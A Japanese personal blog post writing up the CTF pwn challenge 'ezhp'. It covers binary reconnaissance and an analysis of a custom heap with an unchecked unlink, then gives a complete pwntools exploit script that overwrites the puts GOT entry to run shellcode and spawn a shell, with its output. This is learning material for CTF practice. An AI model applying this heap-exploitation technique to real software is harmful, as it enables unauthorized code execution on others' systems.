mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwn challenges list easy ezhp

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ file ezhp | sed -e "s/,/\n/g"
ezhp: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.6.24
 BuildID[sha1]=76bda55f976430db3bea49b59ecd66040527fa9a
 stripped
mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ checksec.sh --file ezhp
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   ezhp

解析

動作させてみると,ノート管理を行のためのメニューが表示される.

Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

それぞれの処理は次の通り
1. heap領域から指定したサイズ領域を確保.領域にはidが0から振られる.
2. 指定したidの領域を解放.
3. 指定したidの領域に対して指定したサイズ分データを保存.
4. 指定したidの領域の内容を表示
5. プログラム終了

このプログラムはheapの管理が独自実装になっており,size,*fd,*bk,*char bufという感じで双方向リストで管理されている.
また,3の処理では確保してある領域のサイズより大きいサイズを指定することができるため,次のidの領域の内容を書き換えることが可能.
さらにこのプログラムは,解放処理で対象のチャンクPをリストから外す際に,p->fd->bk == p,p->bk->fd == pを確認していない.

以上のことから,unlink attackが可能.

Exploit

NXが無効化されているので,確保した領域にshellcodeを積んで実行することを考える.
Gotがシェルコードを指すようにしてあげることで,GOTが呼ばれたときにシェルコードが実行されるようにする.
次の図のような感じにした.

f:id:mattun_mart:20180411221613p:plain

unlink後はシェルコードを実行したいが,チャンクの先頭指すことになるためfdとbkが邪魔.
相対ジャンプでfdとbkを避けてあげることでシェルコードを実行させた.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *

conn = process('./ezhp')
elf = ELF('./ezhp')
puts_got_addr = elf.got['puts']

shellcode = asm(shellcraft.sh())

# add_note id 0
conn.send("1\n")
conn.send("100\n")

# add_note id 1
conn.send("1\n")
conn.send("100\n")

# add_note id 2
conn.send("1\n")
conn.send("100\n")

# change note id 1
conn.send("3\n")
conn.send("0\n")
conn.send("112\n")

payload = "A" * 108
payload += "\x90\x90\xeb\x08" # jmp to shellcode 
payload += "\n"

conn.send(payload)

# change note id 1
conn.send("3\n")
conn.send("1\n")
conn.send("116\n")

payload = shellcode
payload += "A" * (112 - len(shellcode))
payload += p32(puts_got_addr - 8) # fd:got-8 fd->bk:got	
payload += "\n"

conn.send(payload)

# remove note id 2 (unlink attack)
conn.send("2\n")
conn.send("2\n")

conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/ezhp$ python exploit.py 
[+] Starting local process './ezhp': pid 25845
[*] '/home/mattun-mart/Workspace/pwn/easy/ezhp/ezhp'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[*] Switching to interactive mode
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me a size.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
Please give me a size.
Please input your data.
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.
Please give me an id.
$ ls
core                           ezhp.id1
dump                           ezhp.id2
exploit.py                       ezhp.nam
ezhp                           ezhp.til
ezhp-b502addeb274f41757555c05b08e3b05.tar.bz2  peda-session-ezhp.txt
ezhp.id0                       peda-session-ls.txt